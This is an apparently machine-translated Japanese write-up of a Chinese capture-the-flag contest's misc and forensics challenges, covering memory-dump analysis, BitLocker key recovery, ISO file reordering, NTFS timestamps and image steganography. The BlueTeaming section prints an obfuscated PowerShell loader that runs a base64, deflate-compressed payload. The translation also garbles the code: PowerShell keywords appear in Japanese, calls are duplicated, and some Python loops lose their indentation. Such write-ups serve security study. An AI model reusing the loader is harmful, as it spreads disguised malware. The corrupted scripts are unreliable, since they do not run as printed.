第5回強王杯国家サイバーセキュリティチャレンジの話題を再現(話題別添付、詳細解説付き)

すべての道士が競技に慣れるために、まもなく恒例の強王杯競技会が開催されます。

 

昨年の大会の質問を再現しました

台本あり、添付あり( •̀ω•́ )yパースも乾物だらけ 

目次

その他

タイトル: サインイン

タイトル: アンケート

タイトル: BlueTeaming

タイトル:サイファーマン

タイトル: ISO1995

最初の方法

2番目の方法

タイトル: EzTime

タイトル:三体

最初の方法

2番目の方法

皆さん乾杯( •̀ ω •́ )y またのお越しをお待ちしております



  • その他

タイトル:サインイン

 フラグ {welcome_to_qwb_s5} ( •̀ ω •́ )y

タイトル:アンケート

https://www.wjx.top/vj/PXgE3rj.aspx にアクセスしてください

記入後、フラグを取得します

フラグ値は

フラグ{Welc0me_tO_qwbS5_Hope_you_play_h4ppily} ( •̀ ω •́ )y

タイトル: BlueTeaming

添付ファイルをダウンロード

リンク: https://pan.baidu.com/s/1qqE4s4deZGdCMt2MOFQW7g

抽出コード:ルル

トピックの説明:

Powershell スクリプトは悪意のあるプログラムによって実行されました.Power shellscript コンテンツを含むレジストリ キーは何ですか? (この質問のフラグは非公式です)

Powershell スクリプトは、悪意のあるプログラムによって実行されます。power shellscript の内容を含むレジストリ キーは何ですか? (そしてフラグは通常の形式ではありません)

添付ファイルのダウンロード

サフィックスなしで BlueTeaming ファイルを取得する

010 観測フォーマットをドラッグします。

明らかな 7Z アーカイブ形式

サフィックスを直接追加して解凍し、memory.dmp ファイルを取得します。

dmpファイルをみんなに普及させます 

これはメモリ イメージ ファイルです. 一般的なメモリ イメージ ファイルには、raw、vmem、dmp、および img が含まれます. Powershell についてハイブを検索するには

.dmp ファイルは、コンピューターにブルー スクリーンが表示されたときに最も古いものを指し、Windows システムは自動的にブルー スクリーン エラー dmp ファイルを生成します。このファイルは特定の場所に保存されます。ブルー スクリーンを開くには、Microsoft のデバッグ ツールを使用する必要があります。エラー dmp ファイル

ワトソン博士は、Windows に付属のデバッグ ツールであるダンプ ファイルを生成する必要があり、設定されている限り、プログラムが失敗した後、対応するディレクトリにダンプ ファイルを見つけることができます。

デバッグ ダンプ ファイル

    1) windbg を使用します。

    2) vcを使って、dmpファイルとexe、pdbファイルを同じディレクトリに置き、コンパイラ(vcなど)で開いてからデバッグを開始すると、中断したところまで中断されます。

まず、この画像ファイルを分析する必要があります。

ここでは、Kali のインストールがより面倒なので、 volatility_2.6_win64_standalone.exeの win バージョンを使用します。

Volatility 2.6 のダウンロード アドレス Official Volatility 2.6 - 高度なメモリ フォレンジック フレームワークhttps://www.volatilityfoundation.org/26

 ここでは説明しないダウンロード アドレス

volatility_2.6_win64_standalone.exe -f .\memory.dmp imageinfo

次に、ハイブを直接監視します

 volatility_2.6_win64_standalone.exe  -f memory.dmp --profile=Win7SP1x64 hivelist

 タイトルで powershell を探すように求められているので、まずログ ファイルを見てみましょう。

 volatility_2.6_win64_standalone.exe -f memory.dmp --profile=Win7SP1x64 filescan|find "evtx"

注意すれば、 powershellのログを簡単に見つけることができます

レジストリファイルを直接エクスポートします

 volatility_2.6_win64_standalone.exe -f memory.dmp --profile=Win7SP1x64 dumpregistry --dump-dir ./

 

これらのレジストリを WRR.exe で開きます

 

 タイトルには、powershell マルウェアに関連している可能性があると記載されているため、SOFTWARE 固有の文字列を優先し、WRR.exe ツールを使用してレジストリを確認し、いくつかの一般的なマルウェア フィールドをグローバルに検索します。

-IEX 、encode decompress new-objectなどのように、最終的にマルウェアが保存されているレジストリの場所を見つけることができます

パスが見つかりました

CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication

 悪意のあるスクリプトの発見は、私たちが正しい場所にいることを意味します

& ( $VERBOSEPREFERENCE.TOSTRING()[1,3]+'x'-JOIN'')( 新しいオブジェクト システム.IO.ストリームリーダー( ( 新しいオブジェクト システム.IO.圧縮.デフレートストリーム([IO.メモリストリーム] [変換]::frombase64String('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO. COMPRESSION.COMPRESSIONNODE]::DECOMPRESS)), [TEXT.ENCODING]::AsCIi)).ReadToEnd()ReadDTeNd()ReadDTeNd()

プロンプトフラグによると、レジストリキーであり、非公式です

そうフラグ

あれは

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

タイトル:サイファーマン

添付ファイルをダウンロード

リンク:https 
://pan.baidu.com/s/1AeUHwdhYzgUV6kxs602Lcg 抽出コード:lulu 

トピックの説明:

攻撃者が悪意を持ってユーザーの PC にアクセスし、特定のボリュームを暗号化しました.ボリュームを復号化する方法? (この質問のフラグは非公式です)

 添付ファイルのダウンロード

 これ以上苦労せずに、010 マイルをドラッグします

 案の定、サフィックス付きの7z圧縮パッケージ形式でもあります

 サフィックスなしでメモリと秘密のファイルを取得する

まず、この画像ファイルを分析する必要があります。

勝利でボラティリティツールを引き続き使用します

volatility_2.6_win64_standalone.exe -f .\memory imageinfo

 最初にファイルをスキャンする

 volatility_2.6_win64_standalone.exe -f メモリ --profile=Win7SP1x86_23418 ファイルスキャン

BitLocker 回復キー ファイルが見つかりました

私は彼を見つけて連れ出しました。

vol.py -f メモリ --profile=Win7SP1x86_23418 ダンプファイル -Q 0x000000007e02af80 --dump-dir=./

(このステップはバージョンの問題で win ではエクスポートできないため、このステップを Kali で実行します。読者の皆様にはご迷惑をおかけします。申し訳ありません)

開いて次のコンテンツを取得します

コピーして翻訳する

回復キーを取得する

BitLocker 回復キー:

221628-533357-667392-449185-516428-718443-190674-375100

この時点で、マウント ツールdiskgeniusを見つける必要があります。

マウントするとロックが解除されます

今すぐ回復キーを入力してください

ロックを解除しました

クリックしてファイルを参照して開きます txt はフラグです

フラグを取得

うわー、あなたは素晴らしい能力を持っています。これをどのように解決しましたか?あなたはハッカーですか?あとで教えてください。

タイトル: ISO1995

添付ファイルをダウンロード

リンク:https 
://pan.baidu.com/s/1pKw6IZyyjpc3tHvrYs3V7w 抽出コード:lulu 

 

トピックの説明:

ISO1995に準拠しています。しかし、ISO1995 には多くの問題があります。既知の問題の 1 つは時間です。

当時、多くの人がこの質問について考えました

(UltraISOで開いて1024ファイルをダウンロードしようと考えています。テキストを時間などでソートしてからコード化して解読します)

最初の方法

名前にISOがあるので接尾辞をつける

UltraISO開く

中のファイルを引き出す

 

ファイルの取得は、通常、サフィックス(この質問ではありません)、名前、ソースコードに依存します

010 元のフォーマットを見てみましょう

前には何もなく、真ん中に何かがあることがわかります

フラグを検索してみてください。

次に、あなたがいるページをよく見てください

他のすべてのセグメントには同じセグメントがあります

FF FF FF FFの後の2桁だけ違う

そして検索したら全部で1024個あり、FFFFFFFFに続く数字も変化しており、何気なく1ダース見てみたところ、合計値が1024を超えていないことがわかったので、これを抽出した1024ファイルの順番として推測します.

最初に、FF FF FF FF の後の 2 バイトを抽出するスクリプトを作成します。

f = open("iso1995",'rb').read()
f1 = open("flag",'wb')

def find_all_indexes(input_str, search_str):
    l1 = []
    length = len(input_str)
    index = 0
    while index < length:
        i = input_str.find(search_str, index)
        if i == -1:
            return l1
        l1.append(i)
        index = i + 1
    return l1

s = find_all_indexes(f,b'\xff\xff\xff\xff')
for i in s:
    f1.write(f[i+4:i+6])
print("done")

ファイル010を開く

 別のスクリプトが必要で、10 進数値を抽出する

(fは赤枠内の内容)

s = [""]*1024
f = "000000AA035702C50023026802F202DB03E501E5010102A80236026703F2009E002A00E0039801B0028A006D03D1019D01CB031B031902A0025900A1022D030500510231003C02C702E301990235037E0185012E007400A2006C021602FC01B401AA026902CE00FD00B601D3004903BC02F000F2016503A4032501EE03B403DE02DE03F80147024F033C0263001C03F4009702EC0091000C00BF0168023301A4038C024E024D03C50086037C001202C101110126036801C7000702F3007000BB0304036B02D3004103AF0130017C003403970061008102A301A80092012A002C01350323028E00F902D7010901A702F8032701EF000F03C8020E014A02600344034300C4022C0099026D008A030103F10273031F009D00F501FA010D037A036101E10307021502E201B70225031000350243028602D8010803EF01F5030A03390170010701770100005C021C01690063010203E1039C00DA037D01BC014002A5034900D8033A00C1004403CF029101FF03D802390338030B010602B303FB03F0007701CD025600EC004C03EB000101620266035B0298000A02CC0248011500A8034D025401D703E9035A02270065016B03AC03830039019503EA030D03AE02820078001501B8011D018600F600180148038E00F4013701F0012203CD011E027201CE01F103B8022B02AE00BE03850133033E020C021003A901BD00ED033403300214008F014B00D700040265014301A901800178034C0062030201BE02F5036600AD02AD016403330142036E03E00345018A00E300A300FB028F03BF022F02DC039E03D90314006803B600A602D202220103004D03F9008B01F6018E03E3030000C002AA01A10139019F0360025B01BA027600F0038D001F0006028C013203D6020B0198018802A1023801E6007C035D0064009F024A00D001BB005E02BD019A019300F803A30362019E00D4026E03EE0352015F023201FB03C002BA03BE02EB01C103900129039900CC02AC02BB02A9003800E400E1009C020A03200396020701F90192034E02B501F8032803CB024200B7038100B803E7012F019C031C03F50230023C0113006F00AE01DE0071029601F702A2004A01280110005F024701C4034B03E603ED0318008C015A03BA03F600AB0079028100AF00EA01A20127011C0056018F02BF0002018303A100CF013D029A031E02710138021903640261007601AB03E800A501EB03DD01A300600096017B007E01B3035403E2012B017103FC000901C901FC021E00B9032E02E4026C008502D902DF027A01AC03CE00E200670365038401DC01F40212012000CD0221021B01DA0209013E031D005B0378016C007300CA0255008D00C20082009A0224001B001303750347027801D603D000EF037103EC002F03A002B103FA002501D8004F01B102C3029F030902A4028B009302BC00D5028801B600FF011403F3030E021F002100D6018D036F032103530029015B034603D7034F0043017303DB01600292039203370030017F02F70124003E02F601AF010E039D0246028701B9021A010C0394025000F303A20000011603AD0377011A02EF02CA0153031201E8034A0311022902AF03A50359036D01A6023B021D00FA02D0033500BD025F0326037F03A801EA011B029E03CC0201038A016A03800037013F0080029B01CA025302E90088037001C802F103B30205003A031701AD0125018701970237014E025E036A011F020F00A9014C008E030C032B005201410355029702950275013A0350015702AB03FF00F7009800DD015E038701E4008700550159013C0105019B01D1019402CF004502B000C60022026F01E001DD033B03FD01D20154005D03890024039F01DF028D03BB024500110003002700C702BE004700C902B601B5009B006E03C3016E00B5025D005900160008002D0066007A037B01BF030802ED035C02CD00E500C5020802FB028001CF025A03DA018B017A02B801040190003D03BD0089020403910289014F027401C303220151019602C203D203F7029401D900BA015803FE03B103B501ED014D0136023A004203740315039500E9034200DE00D101B203400020004E015C013B00AC036302D40223002600DB017E0123006B02DD02FF029900F100840217001400900176020602B4023E0372032F023D01C002E60220007202FE03C901D00053032901C6033D027C03B903690028005002DA00D901E9001A02CB017202E80356019102EE009501C20094007F025101840144024B03B0012102030264022E034802FD03730249003602C8027B0226016D03C700170040038602620270025202E50234010F03C4010B0150029302B9016F038203AB018902B7039B014601F2030F00CB005400C801DB035E03880083001D007B00FE0181010A003301E203C103E402FA01630358006900E702E0017D00EE02900166027E003B02F400D30341027901790228015202B2036C0119033603AA0174029D011703A7023F02D6021801FD0134001902C0000D0161032D001001490167002E004B020003C6004600B3005A01D5020203130131012C033200B2021301A502EA026A02D5000E007D03B202C900EB003103D500B401E700BC039A01550367032A0156030302850351025802D100A7027F011201EC031602C6002B00A00284004800CE01E3024100B0025C02A601CC030602C400B1024002E703DF029C033100DF00750005006A03B7003F00D201F3026B032C00FC005801D40393032401AE038F018C01FE03C20182015D00E6020D0175012D003203CA02E1038B03D4027702F9025702A7031A00A403DC01C5024C021100C30244001E022A0283027D035F00DC03A60379033F037600E80118014503D30057000B"
for i in range(1024):
    print(int(f[i*4:i*4+4],16))
    s[i] = int(f[i*4:i*4+4],16)
print(s)
print(len(s))

最後に、それを抽出して名前を変更し、順番に名前を変更するだけです

import os
path = 'C:\Users\lujin\Desktop\强网杯\ISO1995\附件\新建文件夹'
num= 0
for file in os.listdir(path):
    os.rename(os.path.join(path,file),os.path.join(path,str(num)))
    num+=1

次に、名前を変更したファイルを上記の順序で並べ替えて接合します

f = open("flag1",'wb')

for j in s:

f1 = open("C:\Users\lujin\Desktop\强网杯\ISO1995\附件\新建文件夹\\"+str(j),"rb").read()

    f.write(f1)

print("done")

フラグを取得するために実行します

フラグ{Dir3ct0ry_jYa_n41}

2番目の方法

このスクリプトの原則は、実際には最初の方法の原則をスクリプトに結合することです (詳しく調べたい場合は、それを見ることができます)。

実は原理は同じ 

import re
import struct


with open("iso1995.iso", "rb") as f:
    data = f.read()

pos_val = {}
res = []
for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):
    index = x.start()-12
    index = struct.unpack(">H", data[index:index+2])[0]

    index_data = 0x26800 + (index * 0x800)
    pos_val[index] = data[index_data:index_data+1].decode("utf-8")

for k, v in pos_val.items():
    res.append(v)
print("".join(res))

取得を実行

検索する

フラグ{Dir3ct0ry_jYa_n41}

 

 

タイトル: EzTime

添付ファイルをダウンロード

リンク: https://pan.baidu.com/s/1ytZNDEF9Kb3zH5CCEco4cQ

抽出コード:ルル

Forensic.Find a file that has been modified a time attribute has been modified by a program. (この質問のフラグは非公式形式です)

(時間属性がプログラムによって変更されたファイルを探します。)

添付ファイルのダウンロード

最後まで解凍

得る 

$LogFile、$MFT (マスターファイルテーブル)

diskgeniusを使用してマウントする

 

 

回復成功

データ復旧後に行うこと

そんな時、ヒントになる

(時間属性がプログラムによって変更されたファイルを探します。)

変更時刻がレコードの更新時刻と異なるとはどういう意味ですか?

現時点では、diskgenius の欠点を見つけることができます. 彼は更新時間を記録していません.

今回はX-wayが出てきました

フラグを取得

{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png

タイトル:三体

添付ファイルをダウンロード

リンク:https 
://pan.baidu.com/s/1VLfTHEi9ux1yeD5eBWu5Fg 抽出コード:lulu 

トピックのヒント

写真に写る全てに意味がある

そこに頭を突っ込むのではなく、既存の情報に基づいて合理的に検索エンジンを使用してください

添付画像を bmp 形式でダウンロードする

まず基本的な属性情報を見て、何もないことを確認します

次に、stegsolve に直接アクセスして確認します

 言葉があります、あなたはすべてバグです、これは明らかに作者の嘲笑です

それから彼に問題を解かせてください

うっかり ps で拡大してみると、ピクセルが規則正しく配置されているのが少し興味深いことに気付きました

 次のステップは、010 エディタを使用してピクセル値を表示することです

表示に 010 を使用すると、以下に示すように、010 が 1 ピクセルを表す 3 バイトであることがわかります。

 010 Editor で注意深く観察すると、以下に示すように、隣接するピクセルの色の値が常に類似しているため、これらのデータは 4 バイトのグループに似ています。

一般に、通常の画像の画素間の差は非常に小さく、3 ビット周期では差が大きいのに対し、4 ビット周期では差が非常に小さいことがわかります。

したがって、タイトルの三体プロンプトの次元概念と組み合わせて、この絵の次元を高める必要があります。

画像の前に bibitcount があります。これは各ピクセルのバイト数です。24 を 32 に変更します。

 保存して開く

新しい写真を手に入れるだけ

stegsolve にドラッグして老人を見つける

強王杯へようこそ

別の紛らわしいメッセージ

左上隅にあるものを注意深く探します

lsb メソッドを使用して情報を非表示にする場合があります

私たちはステグソルブを使い続けています

私は誰ですか?

もう一度列に切り替えて確認しましょう

David が David の名前のように見えるようにする

数学者のデイビッド・ヒルベルトを調べてみてください

有益な情報が得られない

しかし、よく見ると、StegSolver は bmp の RGB 3 チャネルしか認識できず、アルファ チャネルには白い画面が表示されることがわかります。

ここには2つの方法があります

最初の方法

bmpをpngに変換

ここにスクリプトがあります

スクリプト添付

from PIL import Image
image=Image.new(mode='RGBA',size=(580,435))
with open(r'threebody.bmp','rb') as f:
    file=f.read()
    index=0
    for i in range(434,-1,-1):          for j in range(0,580):
            s=[]
            for t in range(0,4):
                s.append(file[index])
                index+=1
            image.putpixel((j,i),(s[2],s[1],s[0],s[3]))  #
    image.show()
    image.save('threebody_new.png')

実行してpng形式の画像を取得します

StegSolverに入れる

グリーンプレーンチャンネルに疑わしいQRコードの写真があります

2番目の方法

 bmp の元の画像

010の情報を引き続き観察する

アップグレード後にイメージをリロードする

rgbReserved チャネルがもう 1 つ見つかりました

そして、このチャンネルは青のチャンネルに非常に近いです 

rgbReserved チャネルの値を blue チャネルにコピーしてみてください。

スクリプトが必要です

with open('threebody.bmp', 'rb') as f:
    d = f.read()

w = 580
h = 435
b = 4
l = bytearray(d)
off = l[10]
for i in range(h):
    for j in range(w):
        l[off+j*b+i*b*w] = l[off+j*b+i*b*w+3]

with open('threebody_new.bmp', 'wb') as f:
    f.write(l)

実行して新しい bmp 画像を取得する

StegSolverに入れる

まだこの写真を取得します

2つの方法が導入されました

それから続けます

最初に画像を保存します

多くの人は、ここで何をすればよいかわかりません(もちろん、あまり経験がなければ、この図が明らかに 2 次元配列であることは簡単にわかります)。

この時点で、前の情報に戻って確認し、組み合わせます。

その人物の名前 (ヒルベルト) を、トピックの説明と組み合わせて使用​​しませんでした

検索エンジンでヒルベルトと三体問題を調べる

ヒルベルトと三体https://www.sohu.com/a/459111314_119097

大雑把にブラウジングした後

一番大事なのはヒルベルト曲線

彼女は高次元を減らす方法です

この問題では、ヒルベルト曲線を使用して、2 次元のバイナリ配列を 1 次元のバイナリ ストリームに変換できます。

 スクリプトを使用して、2 次元の 01 マトリックスの次元を 1 次元のバイナリ ストリームに縮小すると、隠しファイルを取得できます。スクリプトで使用

スクリプト添付

import numpy as np
from PIL import Image
#安装:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple hilbertcurve
from hilbertcurve.hilbertcurve import HilbertCurve
#提取像素数据
with Image.open('solved.bmp') as img:
    arr = np.asarray(img)
arr = np.vectorize(lambda x: x&1)(arr[:,:,2])
#确定图片中的有效区域
for x1 in range(np.size(arr,0)):
    if sum(arr[x1])>0:
        break
for x2 in reversed(range(np.size(arr,0))):
    if sum(arr[x2])>0:
        break
for y1 in range(np.size(arr,1)):
    if sum(arr[:,y1])>0:
        break
for y2 in reversed(range(np.size(arr,1))):
    if sum(arr[:,y2])>0:
        break
#剪切出有效二维数据
arr = arr[x1:x2+1, y1:y2+1]
#print(x2+1-x1)#得出是128*128的矩阵
#构建希尔伯特曲线对象
hilbert_curve = HilbertCurve(7, 2)
#生成一维的二进制流数据
s = ''
for i in range(np.size(arr)):
    [x,y] = hilbert_curve.point_from_distance(i)
    s += str(arr[127-y][x])
#转ASCII文本写入文件
with open('output', 'wb') as f:
    f.write(int(s,2).to_bytes(2048, 'big'))

pycharm でエラーを報告しない

cmdで直接実行

 出力ファイルが出てきます

Open は C ソース ファイルです。

#include <stdio.h>

#include <string.h>

#include <stdlib.h>



char* a(char* s);



char t[65536];



void b()

{

printf("%s\n\nint main()\n{\n\tstrcpy(t, \"%s\");\n\tb();\n\treturn 0;\n}\n\nchar* a(char* s)\n{\n\tint l=strlen(s);\n\tchar* n=malloc(l*2+1);\n\tchar* p=n;\n\tfor(int i=0; i<l; i++)\n\t\tswitch(s[i])\n\t\t{\n\t\t\tcase '\\n':\n\t\t\t\t*p++='\\\\'; *p++='n'; break;\n\t\t\tcase '\\t':\n\t\t\t\t*p++='\\\\'; *p++='t'; break;\n\t\t\tcase '\\\\':\n\t\t\t\t*p++='\\\\'; *p++='\\\\'; break;\n\t\t\tcase '\\\"':\n\t\t\t\t*p++='\\\\'; *p++='\\\"'; break;\n\t\t\tdefault:\n\t\t\t\t*p++=s[i]; break;\n\t\t}\n\t\t*p=0;\n\n\treturn n;\n}\n", t, a(t));                                                                                                                                                           

}



int main()

{

strcpy(t, "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nchar* a(char* s);\n\nchar t[65536];\n\nvoid b()\n{\n\tprintf(\"%s\\n\\nint main()\\n{\\n\\tstrcpy(t, \\\"%s\\\");\\n\\tb();\\n\\treturn 0;\\n}\\n\\nchar* a(char* s)\\n{\\n\\tint l=strlen(s);\\n\\tchar* n=malloc(l*2+1);\\n\\tchar* p=n;\\n\\tfor(int i=0; i<l; i++)\\n\\t\\tswitch(s[i])\\n\\t\\t{\\n\\t\\t\\tcase '\\\\n':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='n'; break;\\n\\t\\t\\tcase '\\\\t':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='t'; break;\\n\\t\\t\\tcase '\\\\\\\\':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='\\\\\\\\'; break;\\n\\t\\t\\tcase '\\\\\\\"':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='\\\\\\\"'; break;\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\t*p++=s[i]; break;\\n\\t\\t}\\n\\t\\t*p=0;\\n\\n\\treturn n;\\n}\\n\", t, a(t));\n}");

b();

return 0;

}



char* a(char* s)

{

int l=strlen(s);

char* n=(char*)malloc(l*2+1);

char* p=n;

for(int i=0; i<l; i++)

switch(s[i])

{

case '\n':

*p++='\\'; *p++='n'; break;

case '\t':

*p++='\\'; *p++='t'; break;

case '\\':

*p++='\\'; *p++='\\'; break;

case '\"':

*p++='\\'; *p++='\"'; break;

default:

*p++=s[i]; break;

}

*p=0;



return n;

}

よく見ると文法に問題があることがわかります

(char *) を malloc (英語の括弧) の前に追加します。

C 言語でオンライン Web サイトを検索する

実行してソースコードを取得する

ダウンロードして Notepad++ で開く

実行ファイルと比較

何かを見つけます

ツールバーの表示をクリックして、文字が下図のようになるようにします

タブを 1 に、スペースを 0 に割り当てます。

バイナリストリームに変換します

ここにスクリプトがあります

import re
str1='' #将空格和tab全部复制粘贴过来
#str1=re.sub(' ','',str1)
#str1=re.sub('\[','',str1)
str1=re.sub(' ','0',str1)
str1=re.sub('\t','1',str1)
print(str1)

バイナリ ストリームを取得する

01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101

最後のステップでは、バイナリを文字に変換します

import re
aa = "01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101"
bb=re.findall(r'.{8}',aa)
str1 = ""
for b in bb:
    str1 += chr(int(b,2))

print(str1)

フラグを取得するために実行します

フラグ{D1mEn5i0nAl_Pr061em}

作るのは簡単ではありませんが、応援したいと思います

この記事が皆さんのお役に立てば幸いです

今後のゲームでの幸運を祈ります

皆さん乾杯( •̀ ω •́ )y またのお越しをお待ちしております

Supongo que te gusta

Origin blog.csdn.net/m0_68012373/article/details/125950134
Recomendado
Clasificación